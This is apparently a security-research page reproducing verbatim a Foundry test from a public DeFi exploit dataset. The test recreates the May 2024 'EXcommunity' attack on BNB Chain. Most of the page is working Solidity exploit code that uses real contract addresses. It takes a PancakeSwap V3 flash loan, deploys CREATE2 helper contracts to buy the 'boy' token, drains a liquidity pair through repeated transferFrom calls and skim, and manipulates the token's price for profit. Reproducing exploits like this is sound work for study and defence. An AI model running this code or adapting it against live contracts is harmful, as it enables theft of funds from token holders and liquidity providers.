Public reproduction file
src/test/2024-05/EXcommunity_exp.sol
Public reproduction file for dataset entry EXcommunity.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/bsc/0x5446bf2b57749abdab01813a50ce36246177f3437599f3a56bc1554f596b2c3a8// GUY : https://x.com/SlowMist_Team/status/17956486175309951309// Profit : ~33 bnb10// REASON : Business Logic Flaw12interface Boy is IERC20 {13 function getPrice() external returns (uint256);14}16contract ContractTest is Test {17 IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));18 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);19 Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);20 Uni_Pair_V2 Pair = Uni_Pair_V2(0x74f5FE81F67FA30A679d3547f7F9B97a2dd46BA5);21 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);22 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);23 IERC20 Girl = IERC20(0xb1de93DAe1CDdF429eEc9DB30b78759d17495758);24 Boy boy = Boy(0xdf4895Cd8247284Ae3a7b3E28cf6c03113fADa5f);25 uint256 constant PRECISION = 10 ** 18;26 address[] public Myaddress;28 function setUp() external {29 vm.createSelectFork("bsc", 39_123_756);30 // deal(address(BUSDT), address(this), 500000 ether);31 }33 function testExploit() external {34 emit log_named_decimal_uint("[End] Attacker bnb before exploit", address(this).balance, 18);35 Pool.flash(address(this), 400_000_000_000_000_000_000_000, 0, "0x123");36 emit log_named_decimal_uint("[End] Attacker bnb after exploit", address(this).balance, 18);37 emit log_named_decimal_uint("[End] Attacker BUSDT after exploit", BUSDT.balanceOf(address(this)), 18);38 emit log_named_decimal_uint("[End] Attacker boy after exploit", boy.balanceOf(address(this)), 18);39 }41 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {42 swap_token_to_token(address(BUSDT), address(Girl), 1 ether);43 uint256 helpContractAmount = 10;44 uint256 i = 0;45 while (i < helpContractAmount) {46 address money = cal_address(i);47 Myaddress.push(money);48 i++;49 }50 create_contract(helpContractAmount);51 for (uint256 i = 0; i < Myaddress.length; i++) {52 address(Myaddress[i]).call{value: 3 ether}(abi.encodeWithSignature("buy()"));53 vm.roll(block.number + 1);54 address(Myaddress[i]).call(abi.encodeWithSignature("send()"));55 }56 BUSDT.transfer(address(Pair), 399_000 ether);57 uint256 j = 0;58 while (j < 290) {59 Girl.transferFrom(address(Pair), address(this), 0);60 j++;61 }62 Pair.skim(address(this));63 Girl.transfer(address(this), 1_000_000);64 console.log("price", boy.getPrice());65 boy.transfer(address(boy), 25_380_992_089_360_281_325_724);66 WBNB.deposit{value: 0.4 ether}();67 swap_token_to_token(address(WBNB), address(BUSDT), 0.4 ether);68 BUSDT.transfer(msg.sender, 400_000 * 1e18 + fee0);69 }71 function swap_token_to_token(address a, address b, uint256 amount) internal {72 IERC20(a).approve(address(Router), amount);73 address[] memory path = new address[](2);74 path[0] = address(a);75 path[1] = address(b);76 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);77 }79 function cal_address(80 uint256 time81 ) internal returns (address) {82 bytes memory bytecode = type(Money).creationCode;83 uint256 _salt = time;84 bytecode = abi.encodePacked(bytecode);85 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));86 address hack_contract = address(uint160(uint256(hash)));87 return hack_contract;88 }90 function create_contract(91 uint256 times92 ) internal {93 uint256 i = 0;94 while (i < times) {95 bytes memory bytecode = type(Money).creationCode;96 uint256 _salt = i;97 bytecode = abi.encodePacked(bytecode);98 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));99 address hack_contract = address(uint160(uint256(hash)));100 // console.log(hack_contract);101 address addr;102 // Use create2 to send money first.103 assembly {104 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)105 }106 i++;107 }108 }110 receive() external payable {}111 fallback() external payable {}112}114contract Money is Test {115 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));116 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);117 Uni_Pair_V2 Pair = Uni_Pair_V2(0x74f5FE81F67FA30A679d3547f7F9B97a2dd46BA5);118 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);119 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);120 IERC20 Girl = IERC20(0xb1de93DAe1CDdF429eEc9DB30b78759d17495758);121 IERC20 boy = IERC20(payable(0xdf4895Cd8247284Ae3a7b3E28cf6c03113fADa5f));122 uint256 constant PRECISION = 10 ** 18;123 address owner;125 constructor() {126 owner = msg.sender;127 }129 function buy() public payable {130 address(boy).call{value: msg.value, gas: 20_000_000_000}("");131 }133 function send() public {134 boy.transfer(address(msg.sender), boy.balanceOf(address(this)));135 }137 fallback() external payable {}138}Analysis
Dataset entry
Public Foundry test for “EXcommunity” (2024-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
- src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
- src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
- src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
- src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
- src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
- src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
- src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
- src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
- src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
- src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
- src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
- src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
- src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
- src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
- src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- EXcommunity
- Path
- src/test/2024-05/EXcommunity_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0aadfddc0198ecff8a6ea0cf1f11a3b02b79a572
- Language
- Solidity
- Size
- 139 lines
- Date
- 2024-05-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-05/EXcommunity_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0aadfddc0198ecff8a6ea0cf1f11a3b02b79a572, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.